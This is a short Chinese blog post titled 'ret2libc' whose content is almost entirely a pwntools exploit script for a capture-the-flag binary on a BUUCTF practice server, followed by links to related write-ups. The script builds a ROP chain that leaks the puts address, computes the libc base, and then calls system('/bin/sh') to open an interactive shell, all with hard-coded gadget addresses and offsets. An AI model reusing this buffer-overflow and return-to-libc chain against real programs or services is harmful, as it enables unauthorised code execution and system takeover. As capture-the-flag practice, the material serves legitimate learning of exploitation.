首页 > 其他分享 >ret2libc

ret2libc

时间:2024-05-26 23:47:41浏览次数:14  
标签:p64 puts libc ret offset ret2libc addr

https://files.cnblogs.com/files/blogs/820854/ret2libc.ppt?t=1716737413&download=true

from pwn import*
e = ELF('./pwn') #调用目标文件的elf文件
libc = ELF('./libc-2.31.so') #调用libc版本文件
puts_plt = e.plt['puts'] #调用程序的elf文件,并获得其中puts函数的
puts_got = e.got['puts'] #plt表和got表的地址,打印main函数的地址
main_addr = e.symbols['main'] #symbols是打印函数
r= remote('node5.buuoj.cn',27205)
pop_rdi_ret = 0x0000000000400753
ret = 0x000000000040050e
offset = 40
payload =b'a'*offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.recvuntil('time?')
r.sendline(payload)
r.recvuntil('you!\n')
puts_addr = u64(r.recv(6).ljust(8,b'\x00')) #将获得的数据解包
print(hex(puts_addr)) #以十六进制输出
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search(b'/bin/sh\x00').next( )
base_addr = puts_addr - puts_offset
system_addr = base_addr + system_offset #计算地址
binsh_addr = base_addr + binsh_offset
payload2 = b'a' *offset + p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(system_addr) #ret用来平衡栈
r.recvuntil('time?')
r.sendline(payload2)
r.interactive()

=_=

标签:p64,puts,libc,ret,offset,ret2libc,addr
From: https://www.cnblogs.com/V1V0/p/18214546

相关文章

  • buuctf-pwn-ciscn_2019_c_1-ret2libc
    检查一下保护情况ida里选项2,3都没有什么重要的信息,直接看选项1发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作用cyclic测一下溢出点,得到88找一下system......
  • pwn知识——ret2libc
    这一篇主要记录的就是有关libc泄露了,困扰了我许久的玩意终于有写出来的一天了,不容易啊(哭)不过理解了之后确实就会觉得好写很多嘞在写题解之前还是写写libc泄露的原理和流程比较好,毕竟我自己学的时候搜索各种资料、看各种视频,真的都看得头大,一路摸爬滚打属实不易,我也希望能写出一......
  • 【pwn】[HNCTF 2022 WEEK2]ret2libc --rop构造泄露libc
    这道题是简单的libc,不过多分析了exp:frompwnimport*fromLibcSearcherimport*io=remote("node5.anna.nssctf.cn",28341)elf=ELF("./pwn")put_got=elf.got["puts"]put_plt=elf.plt["puts"]main_addr=0x4011A6rdi=0x401273  #用RO......
  • train.cs.nctu.edu.tw: ret2libc
    来源本题来自ctfwiki中ret2libc后的一道练习题检查保护只开启了NX保护ida查看跟前面的shellcode的课后练习类似,泄露了/bin/sh地址和puts函数的地址gdb调试断点下在main,结合ida中v4=esp+1ch得到偏移为1chexpfrompwnimport*fromLibcSearcherimport......
  • ret2libc3
    ret2libc3ctf-wikiret2libc3考点:栈溢出rop0x01filechecksec——32-bit开NX漏洞和内存分析和之前的系列题类似,不赘述了0x02IDA看源码,既没有system也没有binsh由linux延迟绑定机制的知识(后面再写一篇总结吧)可知,我们如果要调用system函数,就要知道他的got表中的地址,但l......
  • pwn刷题笔记(ret2libc、ROP)
    ciscn_2019_c_1 (ret2libc+rop)checksec查看保护机制,开启了NX,不能往栈里写入shellcode。encrypt函数反汇编encrypt(){chars[50];puts(InputyourPlaintexttobeencrypted)gets(s);ifstrlen(strlen(s)<x){puts("ciphertext")......
  • pwn之ret2libc
    libc.so动态链接动态链接的基本思想是把程序按照模块拆分成各个相对独立部分,在程序运行时才将它们链接在一起形成一个完整的程序,而不是像静态链接一样把所有程序模块都链......